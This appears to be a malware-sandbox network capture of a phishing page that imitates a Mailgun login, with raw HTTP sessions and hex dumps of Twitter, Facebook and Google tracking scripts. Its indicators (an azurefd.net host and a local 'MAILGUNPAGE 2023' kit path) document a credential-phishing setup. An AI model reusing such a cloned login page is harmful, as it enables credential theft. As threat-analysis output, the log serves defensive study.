24	192.168.2.5	49749	104.244.42.195	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	964	OUT	GET /1/i/adsct?bci=4&eci=3&event=%7B%7D&event_id=939cc2b0-a976-4b0b-a894-1b98e3298bf7&integration=gtm&p_id=Twitter&p_user_id=0&pl_id=eeb64410-e513-4069-a922-41bb6f75921e&tw_document_href=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&tw_iframe_status=0&txn_id=o57gg&type=javascript&version=2.3.29 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	1050	IN	HTTP/1.1 200 OK date: Wed, 03 Jul 2024 12:38:45 GMT perf: 7402827104 server: tsa_b set-cookie: guest_id_marketing=v1%3A172001032614122482; Max-Age=63072000; Expires=Fri, 03 Jul 2026 12:38:46 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id_ads=v1%3A172001032614122482; Max-Age=63072000; Expires=Fri, 03 Jul 2026 12:38:46 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: personalization_id="v1_bD7EuidMKJr6ILLCc+OEuQ=="; Max-Age=63072000; Expires=Fri, 03 Jul 2026 12:38:46 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None set-cookie: guest_id=v1%3A172001032614122482; Max-Age=63072000; Expires=Fri, 03 Jul 2026 12:38:46 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: d676aa3a5f4093e0 strict-transport-security: max-age=631138519 x-response-time: 7 x-connection-hash: 61b80fb0c081a7d1cbd5646edf5e7615835b20b34f2a41a6761af8b30cef7156 connection: close
2024-07-03 12:38:46 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49747	157.240.0.6	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	1377	OUT	GET /signals/config/541164370529087?v=2.9.160&r=stable&domain=9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net&hme=733c3732ec767f7a62e7787aff967e6d19b1e13e533937876f2e15efe07bf678&ex_m=67%2C113%2C100%2C104%2C58%2C3%2C93%2C66%2C15%2C91%2C84%2C49%2C51%2C160%2C163%2C175%2C171%2C172%2C174%2C28%2C94%2C50%2C73%2C173%2C155%2C158%2C168%2C169%2C176%2C122%2C39%2C33%2C134%2C14%2C48%2C181%2C180%2C124%2C17%2C38%2C1%2C41%2C62%2C63%2C64%2C68%2C88%2C16%2C13%2C90%2C87%2C86%2C101%2C103%2C37%2C102%2C29%2C25%2C156%2C159%2C131%2C27%2C10%2C11%2C12%2C5%2C6%2C24%2C21%2C22%2C54%2C59%2C61%2C71%2C95%2C26%2C72%2C8%2C7%2C76%2C46%2C20%2C97%2C96%2C98%2C9%2C19%2C18%2C81%2C53%2C79%2C32%2C70%2C0%2C89%2C31%2C78%2C83%2C45%2C44%2C82%2C36%2C4%2C85%2C77%2C42%2C34%2C80%2C2%2C35%2C60%2C40%2C99%2C43%2C75%2C65%2C105%2C57%2C56%2C30%2C92%2C55%2C52%2C47%2C74%2C69%2C23%2C106 HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:47 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' 'unsafe-eval' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-07-03 12:38:47 UTC	1733	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), battery=(self), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-heigh
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 Data Ascii: urn!0}())return;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbol==="func
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 2c 62 29 3a 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d Data Ascii: Object.setPrototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}function l(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=
2024-07-03 12:38:47 UTC	607	IN	Data Raw: 61 2e 70 69 78 65 6c 3b 61 3d 61 2e 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3b 76 61 72 20 6b 3d 61 26 26 69 3d 3d 6e 75 6c 6c 3b 69 3d 63 28 7b 62 75 74 74 6f 6e 3a 65 2c 63 6f 6e 74 61 69 6e 65 72 45 6c 65 6d 65 6e 74 3a 6b 3f 68 3a 69 2c 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3a 61 7d 29 3b 61 3d 64 28 29 3b 76 61 72 20 6c 3d 69 2e 66 6f 72 6d 46 69 65 6c 64 46 65 61 74 75 72 65 73 3b 69 3d 69 2e 75 73 65 72 44 61 74 61 3b 66 3d 7b 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 3a 66 2c 62 75 74 74 6f 6e 54 65 78 74 3a 67 2c 66 6f 72 6d 46 65 61 74 75 72 65 73 3a 6b 3f 5b 5d 3a 6c 2c 70 61 67 65 46 65 61 74 75 72 65 73 3a 61 2c 70 61 72 61 6d 65 74 65 72 73 3a 62 2e 74 72 69 67 67 65 72 28 7b 70 69 78 65 6c 3a Data Ascii: a.pixel;a=a.shouldExtractUserData;var k=a&&i==null;i=c({button:e,containerElement:k?h:i,shouldExtractUserData:a});a=d();var l=i.formFieldFeatures;i=i.userData;f={buttonFeatures:f,buttonText:g,formFeatures:k?[]:l,pageFeatures:a,parameters:b.trigger({pixel:
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 61 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 7d 2c 65 3d 7b 7d 3b 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 54 65 78 74 41 72 65 61 45 6c 65 6d 65 6e 74 29 26 26 61 2e 70 6c 61 63 65 68 6f 6c 64 65 72 21 3d 3d 22 22 26 26 28 64 2e 70 6c 61 63 65 68 6f 6c 64 65 72 3d 61 2e 70 6c 61 63 65 68 6f 6c 64 65 72 29 3b 69 66 28 64 2e 74 61 67 3d 3d 3d 22 69 6e 70 75 74 22 29 7b 64 2e 69 6e 70 75 74 54 79 70 65 3d 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 3b 69 66 28 63 26 26 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 7c 7c 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 Data Ascii: a.tagName.toLowerCase()},e={};(a instanceof HTMLInputElement\|\|a instanceof HTMLTextAreaElement)&&a.placeholder!==""&&(d.placeholder=a.placeholder);if(d.tag==="input"){d.inputType=a.getAttribute("type");if(c&&(a instanceof HTMLInputElement\|\|a instanceof HT
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 68 61 72 65 64 22 29 2c 62 3d 61 2e 75 6e 69 63 6f 64 65 53 61 66 65 54 72 75 6e 63 61 74 65 2c 63 3d 35 30 30 3b 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 76 61 72 20 61 3d 68 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 74 69 74 6c 65 22 29 3b 61 3d 62 28 61 26 26 61 2e 74 65 78 74 2c 63 29 3b 72 65 74 75 72 6e 7b 74 69 74 6c 65 3a 61 7d 7d 6b 2e 65 78 70 6f 72 74 73 3d 64 7d 29 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d Data Ascii: ar k={exports:{}};k.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsShared"),b=a.unicodeSafeTruncate,c=500;function d(){var a=h.querySelector("title");a=b(a&&a.text,c);return{title:a}}k.exports=d})();return k.exports}(a,b,c,d)}
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 44 6f 6d 61 69 6e 3d 3d 3d 22 64 6f 6d 61 69 6e 22 26 26 61 2e 6c 61 73 74 44 6f 74 49 6e 64 65 78 21 3d 6e 75 6c 6c 26 26 61 2e 6c 61 73 74 44 6f 74 49 6e 64 65 78 21 3d 3d 62 2d 31 26 26 61 2e 73 74 61 72 74 21 3d 6e 75 6c 6c 26 26 61 2e 65 6e 64 21 3d 6e 75 6c 6c 26 26 61 2e 65 6e 64 21 3d 3d 61 2e 6c 61 73 74 44 6f 74 49 6e 64 65 78 7d 66 75 6e 63 74 69 6f 6e 20 69 28 61 29 7b 76 61 72 20 62 3d 6e 75 6c 6c 2c 64 3d 61 3b 61 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 65 3d 30 3b 65 3c 64 2e 6c 65 6e 67 74 68 3b 65 2b 2b 29 62 3d 67 28 65 2c 64 5b 65 5d 2c 62 29 2c 62 21 3d 6e 75 6c 6c 26 26 28 68 28 62 2c 64 2e 6c 65 6e 67 74 68 29 3f 61 2e 70 75 73 68 28 62 29 3a 65 3d 3d 3d 64 2e 6c 65 6e 67 74 68 2d 31 26 26 28 62 2e 65 6e 64 3d 65 2c 68 28 62 2c 64 2e 6c Data Ascii: Domain==="domain"&&a.lastDotIndex!=null&&a.lastDotIndex!==b-1&&a.start!=null&&a.end!=null&&a.end!==a.lastDotIndex}function i(a){var b=null,d=a;a=[];for(var e=0;e<d.length;e++)b=g(e,d[e],b),b!=null&&(h(b,d.length)?a.push(b):e===d.length-1&&(b.end=e,h(b,d.l
2024-07-03 12:38:47 UTC	1500	IN	Data Raw: 52 65 67 69 73 74 65 72 65 64 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 2e 70 6c 75 67 69 6e 73 2e 69 6e 66 65 72 72 65 64 65 76 65 6e 74 73 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 63 2c 64 29 7b 76 61 72 20 65 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 65 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 43 6f 6e 66 69 67 53 74 6f 72 65 22 29 2c 62 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 45 76 65 6e 74 73 22 29 2c 63 3d 62 2e 66 69 72 Data Ascii: Registered("SignalsFBEvents.plugins.inferredevents",function(){return function(g,h,c,d){var e={exports:{}};e.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsConfigStore"),b=f.getFbeventsModules("SignalsFBEventsEvents"),c=b.fir
2024-07-03 12:38:47 UTC	910	IN	Data Raw: 61 74 63 68 69 6e 67 22 29 2c 6a 3d 6f 28 66 29 2c 6b 3d 71 28 66 2c 6a 29 2c 6c 3d 78 28 72 28 66 29 29 2e 73 61 66 65 3b 69 66 28 6c 21 3d 6e 75 6c 6c 26 26 6c 2e 6c 65 6e 67 74 68 3e 44 29 72 65 74 75 72 6e 3b 68 3d 68 3b 66 3d 76 28 7b 62 75 74 74 6f 6e 3a 66 2c 62 75 74 74 6f 6e 46 65 61 74 75 72 65 73 3a 6b 2c 62 75 74 74 6f 6e 54 65 78 74 3a 6c 2c 66 6f 72 6d 3a 6a 2c 70 69 78 65 6c 3a 63 2c 73 68 6f 75 6c 64 45 78 74 72 61 63 74 55 73 65 72 44 61 74 61 3a 68 7d 29 3b 6b 3d 69 28 66 2c 32 29 3b 6c 3d 6b 5b 30 5d 3b 6a 3d 6b 5b 31 5d 3b 67 26 26 28 6c 3d 7b 7d 29 3b 6a 3d 3d 6e 75 6c 6c 26 26 64 2e 74 72 69 67 67 65 72 28 63 29 3b 68 26 26 6a 21 3d 6e 75 6c 6c 26 26 43 28 62 2c 63 2c 6a 29 3b 69 66 28 67 26 26 28 63 2e 75 73 65 72 44 61 74 61 46 6f Data Ascii: atching"),j=o(f),k=q(f,j),l=x(r(f)).safe;if(l!=null&&l.length>D)return;h=h;f=v({button:f,buttonFeatures:k,buttonText:l,form:j,pixel:c,shouldExtractUserData:h});k=i(f,2);l=k[0];j=k[1];g&&(l={});j==null&&d.trigger(c);h&&j!=null&&C(b,c,j);if(g&&(c.userDataFo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49746	142.250.185.130	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:46 UTC	1161	OUT	GET /pagead/viewthroughconversion/1005952947/?random=1685205259095&cv=11&fst=1685205259095&bg=ffffff&guid=ON&async=1&gtm=45He35o0&u_w=1536&u_h=864&url=file%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html&label=D44PCKXQjAQQs7_W3wM&hn=www.googleadservices.com&frm=0&tiba=Login%20%7C%20Mailgun&fledge=1&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B113.0.5672.93%7CChromium%3B113.0.5672.93%7CNot-A.Brand%3B24.0.0.0&uamb=0&uap=Windows&uapv=10.0.0&uaw=0&rfmt=3&fmt=4 HTTP/1.1 Host: googleads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	842	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Wed, 03 Jul 2024 12:38:46 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Wed, 03-Jul-2024 12:53:46 GMT; path=/; domain=.doubleclick.net; Secure; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-07-03 12:38:46 UTC	548	IN	Data Raw: 39 65 61 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 73 20 3d 20 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 7d 3b 2f 2a 20 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 2a 2f 20 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 3b 76 61 72 20 67 2c 6b 3b 61 3a 7b 66 6f 72 28 76 61 72 20 6c 3d 5b 22 43 4c 4f 53 55 52 45 5f 46 4c 41 47 53 22 5d 2c 70 3d 66 2c 71 3d 30 3b 71 3c 6c 2e 6c 65 6e 67 74 68 3b 71 2b 2b 29 69 66 28 70 3d 70 5b 6c 5b 71 5d 5d 2c 70 3d 3d 6e 75 6c 6c 29 7b 6b 3d 6e 75 6c 6c 3b 62 72 65 61 6b 20 61 7d 6b 3d 70 7d 76 61 72 20 Data Ascii: 9ea(function(){var s = {};(function(){var e={};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self;var g,k;a:{for(var l=["CLOSURE_FLAGS"],p=f,q=0;q<l.length;q++)if(p=p[l[q]],p==null){k=null;break a}k=p}var
2024-07-03 12:38:46 UTC	1390	IN	Data Raw: 20 67 3f 21 21 74 26 26 74 2e 62 72 61 6e 64 73 2e 6c 65 6e 67 74 68 3e 30 3a 21 31 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 29 7b 72 65 74 75 72 6e 20 79 28 29 3f 77 28 22 43 68 72 6f 6d 69 75 6d 22 29 3a 28 78 28 22 43 68 72 6f 6d 65 22 29 7c 7c 78 28 22 43 72 69 4f 53 22 29 29 26 26 21 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 78 28 22 53 69 6c 6b 22 29 7d 3b 21 78 28 22 41 6e 64 72 6f 69 64 22 29 7c 7c 7a 28 29 3b 7a 28 29 3b 21 78 28 22 53 61 66 61 72 69 22 29 7c 7c 7a 28 29 7c 7c 28 79 28 29 3f 30 3a 78 28 22 43 6f 61 73 74 22 29 29 7c 7c 28 79 28 29 3f 30 3a 78 28 22 4f 70 65 72 61 22 29 29 7c 7c 28 79 28 29 3f 30 3a 78 28 22 45 64 67 65 22 29 29 7c 7c 28 79 28 29 3f 77 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 78 28 22 45 Data Ascii: g?!!t&&t.brands.length>0:!1}function z(){return y()?w("Chromium"):(x("Chrome")\|\|x("CriOS"))&&!(y()?0:x("Edge"))\|\|x("Silk")};!x("Android")\|\|z();z();!x("Safari")\|\|z()\|\|(y()?0:x("Coast"))\|\|(y()?0:x("Opera"))\|\|(y()?0:x("Edge"))\|\|(y()?w("Microsoft Edge"):x("E
2024-07-03 12:38:46 UTC	607	IN	Data Raw: 35 33 36 5c 78 32 36 75 5f 68 5c 78 33 64 38 36 34 5c 78 32 36 75 72 6c 5c 78 33 64 66 69 6c 65 25 33 41 25 32 46 25 32 46 25 32 46 43 25 33 41 25 32 46 55 73 65 72 73 25 32 46 41 64 6d 69 6e 69 73 74 72 61 74 6f 72 25 32 46 44 65 73 6b 74 6f 70 25 32 46 4e 45 57 25 32 35 32 30 45 52 41 25 32 46 4d 41 49 4c 47 55 4e 50 41 47 45 25 32 35 32 30 32 30 32 33 25 32 46 70 61 67 65 25 32 46 69 6e 64 65 78 2e 68 74 6d 6c 5c 78 32 36 6c 61 62 65 6c 5c 78 33 64 44 34 34 50 43 4b 58 51 6a 41 51 51 73 37 5f 57 33 77 4d 5c 78 32 36 68 6e 5c 78 33 64 77 77 77 2e 67 6f 6f 67 6c 65 61 64 73 65 72 76 69 63 65 73 2e 63 6f 6d 5c 78 32 36 66 72 6d 5c 78 33 64 30 5c 78 32 36 74 69 62 61 5c 78 33 64 4c 6f 67 69 6e 25 32 30 25 37 43 25 32 30 4d 61 69 6c 67 75 6e 5c 78 32 36 66 Data Ascii: 536\x26u_h\x3d864\x26url\x3dfile%3A%2F%2F%2FC%3A%2FUsers%2FAdministrator%2FDesktop%2FNEW%2520ERA%2FMAILGUNPAGE%25202023%2Fpage%2Findex.html\x26label\x3dD44PCKXQjAQQs7_W3wM\x26hn\x3dwww.googleadservices.com\x26frm\x3d0\x26tiba\x3dLogin%20%7C%20Mailgun\x26f
2024-07-03 12:38:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49748	93.184.221.165	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
